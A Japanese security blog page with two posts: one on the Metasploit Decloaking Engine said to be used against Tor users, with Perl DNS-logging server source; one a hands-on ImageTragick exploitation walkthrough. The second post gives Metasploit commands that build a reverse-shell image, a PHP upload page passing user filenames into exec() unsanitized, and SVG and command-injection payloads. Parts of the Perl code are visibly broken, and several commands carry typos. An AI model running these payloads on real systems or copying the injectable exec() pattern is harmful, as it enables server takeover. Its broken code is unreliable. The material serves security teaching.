FBIがTorを破ったネットワーク捜査手法について

tor
FBIは過去にTorを利用して児童ポルノサイトにアクセスするユーザを1000人以上摘発したことが知られています。
その手法はMetasploit FrameworkのDecloaking Engineを利用したものだと言われています。
今回はDecloaking Engineとはなんなのかを調査してみたいと思います。

Decloaking Engineの概要

Decloaking Engineはクライアント側の技術とカスタムサービスの組み合わせを使用してプロキシ設定に関係なくWebユーザの実際のIPアドレスを示すためのシステムです。
このツールは脆弱性を用いた攻撃は行いません。

Decloking Engineの動作原理

  1. Webクライアントがホスト名を解決しようとすると、その設定されたDNSサーバに検索要求を送信します。クライアントのDNSサーバは特定のドメインのネームサーバにクエリを送信します。ホスト名は一位の識別子が含まれている場合、DNSサーバはクライアントのIPアドレスを関連づけることが可能です。しかし被害者がsocks4a, socks5を利用しており、socks proxy越しにdnsリクエストを送信する場合、この手法は通用しません。socks4を利用している場合は通用します。

  2. Javaアプレットは、ソケットAPIを使用してホスト名を解決しようとすると、ホスト名がアプレットを提供するWebサイトと同じでない場合、セキュリティ例外が発生します。しかし、セキュリティ例外がトリガされていても、DNS要求自体は依然として、クライアントのDNSサーバーに送信されます。これは、DNS対応プロキシサーバが使用中の場合、特定のクライアントがあっても例に、ウェブにアクセスして、そこからISPや企業をリークすることができます。

  3. JavaアプレットはUDPパケットを送信すると、パケットは通常、プロキシサービスを経由せずに送信されます。これは、Webクライアントの実際の外部IPアドレスをリークします。このメソッドは、Javaの新しいバージョンでは動作しない可能性があり、パケットの宛先は、アプレットを提供するホストのIPアドレスに制限されています。

  4. Javaが有効になっている場合、Webクライアントのホスト名とIPアドレスは、ソケットAPIにアクセスすることができます。この方法は、ユーザのホスト名とIPアドレスが漏洩します。言い換えれば、これは、システムがNATゲートウェイまたはプロキシサーバの背後にある場合でも、システムの内部IPアドレスが漏洩します。

  5. Flashプラグインがインストールされると、それは、バック元のホストへの直接TCP接続を可能にします。これらの接続は、ユーザーのホストの実際の外部アドレスが漏れ、プロキシサーバをバイパスすることがあります。

  6. Microsoft Officeがインストールされ、自動的に開いているドキュメントに設定されている場合、ファイルは自動的にインターネットから画像をダウンロードする返すことができます。これは、プロキシ設定を省略して、ユーザーの実際のDNSサーバを公開することができます。

カスタムDNSサーバ

動作原理で説明した手法を実行するためにはカスタムされたDNSサーバを用意しなければなりません。カスタムDNSサーバはmetasploit framework teamによりソースコードが公開されています。

#!/usr/bin/perl
###############

use Net::DNS::Nameserver;
use DBD::Pg;

use strict;
use warnings;

# Configure the user ID to run as (must start as root)
my $user = 1015;

# Configure the interfaces and ports
# You need :53 on the wildcard domain and :5353 on the IP running the web site
my $bind = [ ['0.0.0.0', 53], ['0.0.0.0', 5353] ];

# You need :53530 TCP on the IP running the web site
my $tcps = [ ['0.0.0.0', 53530] ];

# Wildcard subdomain we handle DNS for
my $dom  = "red.metasploit.com";

# Configure postgres credentials
my $db_name = "dbname";
my $db_user = "dbuser";
my $db_pass = "dbpass";
my $dbh;

my $opts = {
        AutoCommit => 1,
        RaiseError => 0,
};

# Escape the $dom var to be a valid regex
$dom =~ s/\./\\\./g;

foreach my $c ( @{$bind} ) {
        if (! fork()) {
                Launch($c->[0], $c->[1]);
                exit(0);
        }
}

foreach my $c ( @{$tcps} ) {
        if (! fork()) {
                LaunchTCP($c->[0], $c->[1]);
                exit(0);
        }
}

exit(0);

# This table must already exist
##
# Table "public.requests"
#  Column |         Type          | Modifiers
# --------+-----------------------+-----------
# cid    | character(32)         |
# type   | character varying(16) |
# eip    | character varying(16) |
# iip    | character varying(16) |
# dip    | character varying(16) |
# stamp  | timestamp             |
##

sub reply_handler {
        my ($qname, $qclass, $qtype, $peerhost) = @_;
        my ($rcode, @ans, @auth, @add);

        if ($qname =~ m/^([a-z0-9]{32})\.(\w+)\.(\d+\.\d+\.\d+\.\d+)\.(\d+\.\d+\.\d+\.\d+)\.$dom/) {
                # print "$peerhost > $qname (MATCH)\n";
                my ($cid, $type, $eip, $iip, $dip) = ($1, $2, $3, $4, $peerhost);
                my $sth = $dbh->prepare("INSERT INTO requests values (?, ?, ?, ?, ?, now())");
                $sth->execute($cid, $type, $eip, $iip, $dip);
                $sth->finish();
        }else{
                # print "$peerhost > $qname (NO MATCH)\n";
        }

         if ($qtype eq "A")
         {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }
         elsif ($qtype eq "PTR") {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }
         else {
             my ($ttl, $rdata) = (1, $peerhost);
             push @ans, Net::DNS::RR->new("$qname $ttl $qclass A $rdata");
             $rcode = "NOERROR";
         }

         # mark the answer as authoritive (by setting the 'aa' flag
         return ($rcode, \@ans, \@auth, \@add, { aa => 1 });
}

sub Launch {

my $host = shift();
my $port = shift();

$0 .= " ($host:$port)";

$dbh = DBI->connect("DBI:Pg:dbname=$db_name", $db_user, $db_pass, $opts) || die "Couldn't connect to database: " . DBI->errstr;

my $ns = Net::DNS::Nameserver->new(
    LocalPort    => $port,
    LocalAddr    => $host,
    ReplyHandler => \&reply_handler,
    Verbose      => 0,
);


$ = $user;


if ($ns) {
        $ns->main_loop;
} else {
   die "Couldn't create nameserver object\n";
}

}

sub LaunchTCP {

my $host = shift();
my $port = shift();

$0 .= " TCP ($host:$port)";

my $srv =  IO::Socket::INET->new(
        'Proto'     => 'tcp',
        'LocalPort' => $port,
        'LocalAddr' => $host,
        'Listen'    => 5,
        'Reuse'     => 1
);

die unless $srv;

while (my $cli = $srv->accept()) {

        if(! fork()) {
                my $sel = IO::Select->new($cli);
                $cli->autoflush(1);
                if ($sel->can_read(5)) {
                        my $buf = ;
                        if ($buf && $buf =~ m/^([a-z0-9]{32}):(.*)/i) {
                                my $cid = $1;
                                my $eip = $2;
                                chomp($eip);

                                $dbh = DBI->connect("DBI:Pg:dbname=$db_name", $db_user, $db_pass, $opts) || die "Couldn't connect to database: " . DBI->errstr;
                                my $sth = $dbh->prepare("INSERT INTO requests values (?, ?, ?, ?, ?, now())");
                                $sth->execute($cid, 'socket', $eip, '0.0.0.0', $cli->peerhost);
                                $sth->finish();
                                print $cli ($cli->peerhost . "\x00");
                        }
                }
                $cli->close();
                exit(0);
        }
}

}

カスタムDNSサーバはPerlのはNet::DNS::Nameserverのスクリプトを使用して要求を処理し、特定のドメインに対するすべての要求を処理します。このDNSサーバーの巧妙な機能はspy.metasploit.comドメイン内の任意のホストを検索すると、独自に設定されたDNSサーバの外部IPアドレスを返すことです。また、このサーバーはフラッシュからJavaやTCP要求からのUDP要求を処理します。

decloaking Engineの現状と未来

Decloaking Engineは2008年に発表されましたが、現時点では削除されているようです。確かに陳腐化する手法ではあると思いますが、FBIが利用していると言うならば、基本となる考え方は実績があり、例えば日々発見されるFlashなどの脆弱性を組み込めば使えるようになるはずです。
しかし未来を見据えるなら、Flashは今後どのブラウザでも廃止されHTML5になるでしょう。JavaAppletやJavaはTorブラウザからは使用すべきではないということはTorを利用している人なら多くの人が理解していますし、デフォルト設定ではそうなっています。

まとめ

FBIの現時点での手法は苦肉の策であり、脆弱性を組み込まない限り成功率も低く、将来的にも使えるものではないようです。DeepWebは必要に駆られたジャーナリストなどに使用されるならば、新たな可能性を秘めていると考えますが、児童ポルノに関わる犯罪をなくすためにも新たな手法が望まれています。

ImageTragickの脆弱性を攻略!~Metasploitを使って侵入してみた!

ImageTragickという脆弱性が2016年5月3日に公表され話題になっています。


[imagetragick.comより]

ちょうど、GW中に話題になった脆弱性です。
サーバ管理者や関連する方は招集がかかったのではないでしょうか。

ImageTragickとは
ImageMagickという画像を加工できるソフトで見つかった脆弱性の名前です。
このソフトは、例えば画像のフォーマット(JPG)を他のフォーマット(PNG)に変換したり、サイズを変更したり、減色したり、画像同士を合成したり、、、などなど、画像を簡単に編集できるソフトです。Windows、Mac、Linuxなど主要なOSをサポートしており人気があるソフトウェアです。

このImageMagickで画像を変換する際の処理が不十分で、それが脆弱性となっています。
この脆弱性にImageTragickという名前が付けられました。
また、専用のサイト(http://imagetragick.com)も開設されてます。

通常、脆弱性に名前がつくことは稀ですが、過去にもShellShockやHearBleedなど名前の付いた脆弱性がありました。インパクトのある脆弱性や被害が甚大なものなど、メディアに取り上げられやすいように名前やロゴをつくったりするケースが多いようです。

本記事ではMetasploit FrameWorkを使ってImageTragick脆弱性を突いてみたいと思います。
Metasploit Frameworkは、Kali Linuxに最初からインストールされています。
Kali Linuxのインストール手順は下記ブログを参照してください。

Kali Linuxをインストールしてみる!

まずImageTragickの脆弱性があるやられサーバを用意しましょう。
ImageTragickの脆弱性はImageTragick version 7.0.1未満に内包されています。

次にmetasploit frameworkで攻撃用のファイルを作成します。
Kali Linuxを立ち上げてMetasploitを起動します。
1

2

立ち上がるまで時間がかかります。
立ち上がったら、攻撃方法を指定します。

use exploit/unix/fileformat/imagemagick_delegate

3

info

この脆弱性に関する情報が確認できます。
ImageMagickのどのバージョンに脆弱性があるのか、などの情報がみれます。
12

 

次に、設定する情報を確認します。

show options

「Required」という箇所がyesになっている項目は必ずセットしないといけません。
この場合、左のCurrent Settingに既に値がセットされているので、このまま進みます。
13

次にどのファイルフォーマットに攻撃を仕込むか、という設定をします。

show targets

と入力してエンターを押します。
Exploit targetにいくつかの選択肢があります。
攻撃方法としてどの画像ファイルをつかうか、という設定です。
14

ここでは、1のMVGファイルを選択してみます。

set target 1

続いて、確認の為、再度、Show Optionsと入力すると、Exploit targetがSVGからMVGに変更されているのが確認できます。
15

次に、利用している端末のIPアドレスをセットします。
一度、自分のIPアドレスを確認するため、ifconfigでIPを確認しています。
IPアドレスを確認したらセットします。

set LHOST [攻撃者(ここではこのPC)のIP]

これで、前準備は完了です、

exploit

と入力してエンターキーをおすと、相手の接続を待ち受けている状態となります。
また、同時に攻撃用の画像ファイルが自動で作られます。

作られる場所は赤枠、/root/.msf4/local/msf.pngです。
この画像ファイルを脆弱性のあるPCにおくり、相手がImageMagickで画像を変換処理すると、相手のPCに進入する事ができます。
5

実際に、/root/.msf4/local/のフォルダをみると、msf.pngというファイルが作成されています。
この画像をターゲットのPCにおくります。6

ここではSCPコマンドでファイルを送ります。
相手のIPは10.0.2.15ですので、
spc [送りたいファイル] ユーザ名@[相手のIP]:[相手の送る場所]
11

相手のサーバ(10.0.2.15)にファイルを送信完了です。

[相手のサーバ画面]
先ほどおくったmsf.pnfを確認できます。
10

つぎに、このファイルをターゲットとなるPCでImageMagickをつかって変換します。
ここでは、msf.pngをhoge.jpgに変換してみます。

convert msf.png hoge.jpg

画面に変化はおきず、ずっと処理中のような形となります。
16

攻撃側のPCに戻ると、接続したとのメッセージが表示されます。
17

これは、相手のサーバに進入している状態です。
whoamiで、侵入したユーザ名、hostnameでホスト名、また、このPCで使われているパスワード閲覧など、色々できます。また、奪った権限によっては致命的な状態に陥ります。
18

確かに恐ろしい攻撃ですが、相手側はこちらが用意した攻撃用の画像ファイルを使わないと攻撃は成立しないため、そうそう起こりえる事でありません。

しかし、このImageMagickはwebアプリケーションでもよく使われています。
入力された画像ファイルをImageMagickをつかい画像サイズを変えたり、画像フォーマットを変更したり、といった加工しているケースです。

次は、webアプリケーション(php)からimagemagickを利用して、攻撃が成功する例をみていきます。
まずは、web側の環境をつくっていきます。

$ sudo apt-get install apache2 php-pear php5-dev php5 pkgconf
$ sudo peardev install pecl/imagick

php.iniファイルに”’extention=imagick.so”’を追記すればimagickライブラリをphpから利用することができます。
攻撃用ファイルを読み込むphpスクリプトを用意してブラウザからアクセスしてみます。

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="content-language" content="ja">
<meta charset="UTF-8" />
</head>
<body>
<?php
//ファイルアップロードサンプルです。
if ( $_POST["submit"] ) { 
 $original_image = $_FILES['filename']['tmp_name'];
 $new_image = $_FILES['filename']['name'];
 //グレイスケールに変換
 exec("convert -type GrayScale $original_image $new_image");
 echo "変換完了<br>";
 echo $original_image.":".$new_image;
 echo "<img src='".$new_image."' wdith='500'>";
}else{
?>
<p>画像をグレイスケールに変換:</p>
<form method="post" action="./upload.php" enctype="multipart/form-data"> 
<input type="file" name="filename" />
<input type="Submit" name="submit" value="変換" />
</form>
<?php
}
?> 
</body>
</html>

19

攻撃ファイルである、msf.pngを選択して変換ボタンをおします。
PHPを側でこのmsf.pngを受け取って、ImageMagickをつかい、グレースケールにしていますが、この処理の瞬間、攻撃が成功します。

相手サーバに侵入して、このPHPソースを表示しました。

当然、ファイルを書き換えたり削除したり、被害は甚大です。

20

このように、WEB側でImageMagickを利用しているサイトで攻撃ファイルを読み込みさせることでサーバを乗っ取ることができてしまいます。

それでは、なぜ脆弱性が起きるのかを見ていきます。

ImageMagickでは、受け渡された画像の種類を判断するために、coderという機能をつかって判断しています。このcoderを使っても判断できなかった場合、次にdelegateという機能をつかって判断します。このとき、このdelegateは外部のプログラムを実行するのですが、delegateはデフォルトの設定ではHTTPSリクエストを行います。
その際の入力チェックが不十分で任意のシェルコマンドを実行できてしまいます。

"wget" -q -O "%o" "https:%M"

この%Mのチェック処理が不十分なため、シェルコマンドが実行できてしまいます。

たとえば、ファイルのリストを表示するls -laというコマンドを変換元の画像に渡したい場合は

convert 'https://example.com";ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

このように、コマンドが実行されてしまいます。

SVGやMVGといった画像フォーマットにもImageMagickは対応しています。
このSVG形式の画像は、外部ファイルを参照することができます。

たとえば、exploit.svgという画像に外部URLを入れた場合は以下のようになります。

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg&quot;ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

このexploit.svgをImageMagickで処理した場合、ファイルリストを表示する、ls -laコマンドが実行されます。

convert exploit.svg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

ImageMagickは、ファイルの種類を特定する際に、まず、ファイルの中身をチェックします。
ですので、exploit.svgを名前だけmsf.pngと変更しても中身はSVGファイルなので、拡張子チェックの前に処理されてしまいます。

脆弱性が存在するバージョンなのかチェックする

ImageMagickを利用している場合、そのバージョンがImageTragick脆弱性が存在しているか簡単にチェックをする事ができます。
PoCが公開されていますので、そちらを利用します。
PoCとは検証用のプログラムで、対策が必要か判断できます。
また、PoCは改変すれば攻撃ツールとしてしても利用可能となるので、利用する場合は注意が必要です。

それでは、検証を行っていきましょう。
gitコマンドで、ツールをダウンロードして、PoCsの中にある、test.shを実行します。

git clone https://github.com/ImageTragick/PoCs.git
cd PoCs/
./test.sh

21

しばらく待つと結果が表示されます。
UNSAFEとでるとまだ脆弱性があるバージョンを使ってます。
22

※環境や状況によってPoCで検知されない、というケースもありますので、あくまで参考とし、かならず実際にチェックする必要があります。

すでに、ImageMagickの最新バージョンではこの脆弱性は対応されていますが、最近の事ですので、対応されていないImageMagickを利用しているサイトもまだまだ多いのではないでしょうか。

サーバ管理者や早急にPoCなどを利用してImageMagickのバージョンを確認して最新のバージョンを利用するようにしてください。

最後に本記事はコンピュータセキュリティを学びたい人のために作成したものです。悪用はしないでください。